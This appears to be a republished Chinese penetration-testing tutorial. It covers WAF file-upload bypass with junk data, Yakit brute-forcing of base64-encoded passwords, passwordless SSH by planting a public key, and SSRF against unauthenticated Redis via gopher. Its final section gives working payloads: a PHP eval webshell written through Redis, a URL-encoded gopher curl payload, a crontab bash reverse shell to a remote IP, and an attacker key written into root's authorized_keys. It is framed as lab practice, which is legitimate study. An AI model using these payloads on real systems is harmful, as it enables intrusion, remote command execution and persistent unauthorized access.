WAF,Yakit,SSH 小技巧

文章目录

  • WAF,Yakit,SSH 小技巧
    • 1. WAF 文件上传绕过
    • 2. Yakit 暴力破解
    • 3. SSH 免密码登录
    • 4. SSRF配合redis未授权漏洞
      • 4.1 安装ssh
      • 4.2 redis未授权
      • 4.3 安装redis
      • 4.4 Gopher协议
      • 4.5 利用redis写文件

WAF,Yakit,SSH 小技巧

1. WAF 文件上传绕过

脏数据绕过WAF适用于所有的漏洞,但是前提条件是垃圾数据必须放在危险信息前面,并且不能打断原有数据包的结构,不能影响后端对数据包的解析。

以DVWA靶场的文件上传漏洞为例。

image-20231018170505655

被WAF拦截。

image-20231018170514597

现在针对于文件上传的绕过,找到上传文件的数据包。

image-20231018171024315

输入脏数据在Content-Disposition字段中的from-data;分号的前面再加上一个分号,如果不加分号,脏数据会影响到原有数据包的结构。

image-20231018171320415

然后在输入脏数据,成功绕过并且显示出了文件的上传路径。

image-20231018171547637

注意:根据不同的WAF,脏数据要放在不同的位置。

2. Yakit 暴力破解

在用户登录的时候前端传递用户名和密码,对密码进行base64的加密,在后端做一个base64解密。那么在爆破的时候就会出现问题,抓包的数据是base64编码之后的,而密码字典都是明文。如果给字典也进行base64编码非常的不现实。

bp也可以使用但是配置太麻烦了,可以使用Yakit工具来进行操作,因为Yakit适合于国内。

模拟环境,创建一个php文件,文件内容如下:

<?php$a=base64_decode($_GET['passwd']);if($a=="admin"){echo'wuhu';}else {echo'error';}?>

image-20231018172910695

在浏览器中进行访问

image-20231018172945599

输入admin的base64加密后的字符串显示如下

image-20231018173035413

后端将接受的数据进行了一个base64解密,如果前端传递的是一个明文密码,对明文密码进行base64解密那么一定会出错,然后输出error。

Yakit配置选项代理主机IP和代理监听的端口

image-20231018174145834

配置好后点击劫持启动,然后就处于抓包状态了。选择自动放行。

image-20231018174324358

History抓包历史

image-20231018174355221

浏览器配置代理

image-20231018174437943

浏览器开启代理,访问页面,然后History抓包历史就会有对应的数据包。

image-20231018174826581

右键数据包发送到Web Fuzzer

image-20231018174912072

image-20231018175005513

方式一

替换admin,右键插入标签字典–>插入模糊测试字典标签。

image-20231018175156561

image-20231018175335387

需要在{{x(user_top10)}}前面再套一层base64编码。

{{base64({{x(user_top10)}})}}

image-20231018175613963

查看详情

image-20231018175811937

方式二

右键admin选择编码–>base64编码

image-20231018180058025

替换内容

image-20231018180131539

发包结果

image-20231018180203375

3. SSH 免密码登录

ssh在连接的时候必须知道其明文密码。

ssh采用的是非对称加密,存在公钥和私钥的问题。一旦将自己的公钥写到受害者服务器上的ssh目录中,那么在进行ssh登录认证的时候就不需要密码。

实验环境

  • Kali:模拟受害者服务器,需要ssh服务开启,有自己的公钥私钥。
  • Win10:攻击者主机,需要把自己的公钥写到受害者服务器的.ssh目录下。

kali启动ssh服务

image-20231018185600873

到root的家目录下,把攻击者的公钥写在哪个用户的家目录下,登录的时候必须以该用户的身份。写在kali用户的家目录下使用root用户是无法登录的。

image-20231018185909613

进入.ssh目录,该目录下存放着已经通过认证的主机的公钥。

image-20231018190024200

非对称加密的流程第一步就是互相交换公钥。

如果Win10想攻击kali,前提是Win10必须有ssh客户端。

(实战环境下前提是得有命令执行漏洞或者写文件的地方才可以将文件写进去。)

使用Git来完成本次实验,右键鼠标点击Git Bash Here进入命令窗口。

image-20231018190930115

执行命令

ssh-keygen -t rsa

命令说明:

  • ssh-keygen -t rsa 是一个用于生成 RSA 密钥对的命令。执行该命令后,将生成一对完整的密钥:一个私钥和一个公钥。
  • 私钥会保存在你选择的目录中,通常是 ~/.ssh/id_rsa。私钥应该严格保密,并且不应该与他人共享。
  • 公钥将以 .pub 扩展名的文件形式保存在相同目录中,例如 ~/.ssh/id_rsa.pub。公钥可以安全地分发给他人,用于加密数据或者进行身份验证。

image-20231018190639539

执行完命令后会在用户目录下生成一个.ssh目录。

image-20231018190807874

目录内容如下

image-20231018190850141

在id_rsa.pub文件中存放着攻击者的公钥。

image-20231018191106543

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy4bH/4ut0RqjcRWMeyGEzw89dn+k2qaEOMHExreb3VbTCP1/AnFPYTshX/HETkMYMzbstIU+mzzy9zsZ7FXZcl+fhMFULV8o3t2LCxkT0PhvldlNjGGed7+TrQtD7eCFmNJKijM3nz8/+C4SwaHtAHeZzJIMPQOf/UdvlW0rNDXFaTGFgk8J3fan/4KRaApDvSPHtauTfAXZaEHqmkdNb59JWRxWjrl1a3vrEbOZmabGwx82NOT0Zbk2zeryk/WzympgkuwS6hgFatbeHSN1AElUqGk1Pm/EkEg+hxyhYftKyv2jw+uHA1n7mrK4tExzkJsRXRqFPlhqdrPINYrGlt2AbVu4+63emMjdTJ3i8eo0+HInL2cMcz7bFeQUKFO34GSJwtpl+6MQjpfn1kKWPNOu8OH40MjvYocLS2FHS44GtIKK+UsJad44NQeN1H6yOzBwL9G/aP0AHvMCvvKUtIvNlvhLvHidiZqYBIwf+jgfIRgqofSyET1LQBVoDhCM= wuhu@DESKTOP-6DBQCEP

在kali中编辑authorized_keys文件,将公钥内容复制到该文件中。(在实战中如果有命令执行漏洞,可以直接写echo 公钥内容 >> authorized_keys,前提对方的ssh得是开放着的,密钥认证功能也得有)

image-20231018191535273

kail的ip地址

image-20231018191622918

在Git的命令输入框中输入连接命令,没有输入密码直接就可以登录。

ssh root@192.168.188.133

image-20231018191714575

image-20231018191801131

4. SSRF配合redis未授权漏洞

4.1 安装ssh

kali:模拟受害者服务器,需要ssh服务开启,有自己的公钥私钥

win10:攻击者主机,需要把自己的公钥写到受害者服务器的.ssh目录下

image-20231018192100748

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCynKjy0HTJ1A2Cyr9vtIuc/bR9Vp4Up4cl616CCmL5Abz2/vsDR7R9+TWV+sYE69L9gR8fmLtEvm/cTfeCkPrvd2t4/GZ7NUkQgMrkEBB2yIF5To3diL9qzyN/6P3a22bzvfxFN9VJ1LCO27Y6C4RaGZFajYpPMeGSf39F8nxeBVZW57R6Yg4jGv33KhhNSzqB2sdMJB9I3PUZdXT9eIig+gDkeABoD0vkymB08qfJgpU2myRJiWW6oS7KEyDqYDWw6yNhEzeSRJKTD5VRLkIUYkYOZzn/OxfGqu8lJ165bNSdRXHhrmsa+mitlRXdJheGN3nRSkVfuOpuI9Sqf0NbKl7AtlVhW35NUma5A1b6WMHKKISjHqNKBsA0kJEbFAZIB1IEYzsUhYKkMyv+Cwsm/2ipighFWoQh/O+gY7t3puG1Zs8jCwSJ9A4t9chkQMzn/vKBYkRjsqS8IzxpUsd6proMxBYPw3Gk3NzfUXqW3LPbilA0Q3yQaGBR2wX20t0= wuhu@wuhu-PC

image-20231018192128501

.ssh

两台主机,都存在登录的密钥

生成ssh密钥

ssh-keygen -t rsa

4.2 redis未授权

高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。

简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。

分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。

持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。

适用场景:秒杀活动、广告投放、推荐系统、地图服务

4.3 安装redis

#kali换源
vim /etc/apt/sources.list#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free#更新索引文件
apt-get update#更新软件包
apt-get upgrade#安装redis
apt-get install redis-server#启动
/usr/bin/redis-server

4.4 Gopher协议

支持发出GET、POST请求

gopher 协议可以在特定的端口上进行相关命令的执行

gopher://IP:port/_{TCP/IP data stream}

4.5 利用redis写文件

image-20231018192344046

redis-cli -h 【ip】

image-20231018192400458

# 写shell
aaaset 1 "<?php eval($_POST[1]); ?>" 
config set dir /var/www/html/ 
config set dbfilename shell.php 
savebbb# url编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A# 反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
config set dir /etc 
config set dbfilename crontab 
save

redis写入ssh公钥

config set dir /root/.ssh/ 
config set dbfilename authorized_keys 
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCynKjy0HTJ1A2Cyr9vtIuc/bR9Vp4Up4cl616CCmL5Abz2/vsDR7R9+TWV+sYE69L9gR8fmLtEvm/cTfeCkPrvd2t4/GZ7NUkQgMrkEBB2yIF5To3diL9qzyN/6P3a22bzvfxFN9VJ1LCO27Y6C4RaGZFajYpPMeGSf39F8nxeBVZW57R6Yg4jGv33KhhNSzqB2sdMJB9I3PUZdXT9eIig+gDkeABoD0vkymB08qfJgpU2myRJiWW6oS7KEyDqYDWw6yNhEzeSRJKTD5VRLkIUYkYOZzn/OxfGqu8lJ165bNSdRXHhrmsa+mitlRXdJheGN3nRSkVfuOpuI9Sqf0NbKl7AtlVhW35NUma5A1b6WMHKKISjHqNKBsA0kJEbFAZIB1IEYzsUhYKkMyv+Cwsm/2ipighFWoQh/O+gY7t3puG1Zs8jCwSJ9A4t9chkQMzn/vKBYkRjsqS8IzxpUsd6proMxBYPw3Gk3NzfUXqW3LPbilA0Q3yQaGBR2wX20t0= wuhu@wuhu-PC" 
save 
quit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/139742.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【微服务 SpringCloud】实用篇 · Eureka注册中心

微服务&#xff08;3&#xff09; 文章目录 微服务&#xff08;3&#xff09;1. Eureka的结构和作用2. 搭建eureka-server2.1 创建eureka-server服务2.2 引入eureka依赖2.3 编写启动类2.4 编写配置文件2.5 启动服务 3. 服务注册1&#xff09;引入依赖2&#xff09;配置文件3&am…

文心大模型4.0亮相2023百度世界大会,助力各赛道应用进一步发展

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;CSDN领军人物&#xff0c;全栈领域优质创作者✌&#xff0c;CSDN博客专家&#xff0c;阿里云社区专家博主&#xff0c;2023年6月CSDN上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师…

Python 机器学习入门之逻辑回归

系列文章目录 第一章 Python 机器学习入门之线性回归 第一章 Python 机器学习入门之梯度下降法 第一章 Python 机器学习入门之牛顿法 第二章 Python 机器学习入门之逻辑回归 逻辑回归 系列文章目录前言一、逻辑回归简介二、逻辑回归推导1、问题2、Sigmoid函数3、目标函数3.1 让…

都2023了!别再问我,UI自动化测试怎么做了……

本文关键词&#xff1a;移动端UI自动化思路 大家好&#xff0c;我是老司机。之前测试交流群里有同学问“有没有自动化测试在工作中的案例可以分享“&#xff0c;有是有的。 今天我会详细的描述一个【UI自动化实战在实际工作中的应用】&#xff0c;这是之前贝壳找房我们团队做…

Android攻城狮学鸿蒙-Tab

Entry Component struct TabPage {State message: string Hello World;private controler: TabsController new TabsController();build() {Column() {Tabs({ barPosition: BarPosition.Start, controller: this.controler }) {TabContent() {Column() {Text(哈哈哈哈).fontS…

华为云云耀云服务器L实例评测|使用clickhouse-benchmark工具对ClickHouse的性能测试

目录 引言 1 ClickHouse简介 2 利用docker安装ClickHouse 2.1 安装Docker 2.2 下载ClickHouse Docker镜像 2.3 创建ClickHouse容器 2.4 访问ClickHouse 3 创建测试表 4 运行 clickhouse-benchmark 5 分析结果 结语 引言 利用华为云的云耀云服务器L实例&#xff0c…

C++ 用户学习 Python 的最佳方法

对于很多是一名计算机科学专业的学生而言&#xff0c;很多入门是学习的C和 C&#xff0c;可能熟悉非常基本的 python 语法&#xff0c;以及 C 中相当高级的数据结构。现在想深入学习Python的话&#xff0c;光看很多在线教程可能没法有较大的提升&#xff0c;这里有一些针对C用户…

TatukGIS Developer Kernel使用教程:如何为FMX创建第一个应用程序

概述&#xff1a;TatukGIS Developer Kernel&#xff08;DK&#xff09;是一个用于开发自定义地理信息系统&#xff08;GIS&#xff09;应用程序以及解决方案的综合性软件开发工具包&#xff08;SDK&#xff09;。本篇文章主要介绍用DK11为FMX创建一个应用程序&#xff0c;现在…

846. 树的重心

输入样例 9 1 2 1 7 1 4 2 8 2 5 4 3 3 9 4 6输出样例&#xff1a; 4 分析&#xff1a;因为有n-1条边&#xff0c;所以每个点必然会连接到其他点&#xff0c;不存在孤立点&#xff0c;因此&#xff0c;我们从1-n任意点开始dfs都是可以的&#xff0c;因为无论怎么样&#xff0…

数据库:Hive转Presto(五)

此篇将所有代码都补充完了&#xff0c;之前发现有的代码写错了&#xff0c;以这篇为准&#xff0c;以下为完整代码&#xff0c;如果发现我有什么考虑不周的地方&#xff0c;可以评论提建议&#xff0c;感谢。代码是想哪写哪&#xff0c;可能比较繁琐&#xff0c;还需要优化。 …

2024年湖北建筑安全员abc三类人员考试新题库考试题库

2024年湖北建筑安全员abc三类人员考试新题库考试题库 湖北三类人员建筑安全员ABC证新题库是存在的&#xff0c;因为安管系统老更新&#xff0c;每次更新后&#xff0c;新题库&#xff08;重点题库&#xff09;就会有所变化。新题库主要是针对考试的&#xff0c;提高考试合格率…

iOS——JSONModel的使用与JSONModel的嵌套

什么是JSONModel JSONModel是一个解析JSON数据的开源库&#xff0c;可以将JSON数据直接解析成自定义的model 使用 JSONModel 非常简单,只需要将你的 model 类继承自 JSONModel ,而同时 model 中的属性名又恰巧可以和 JSON 数据中的 key 名字一样的话,那么非常恭喜你,你的工作…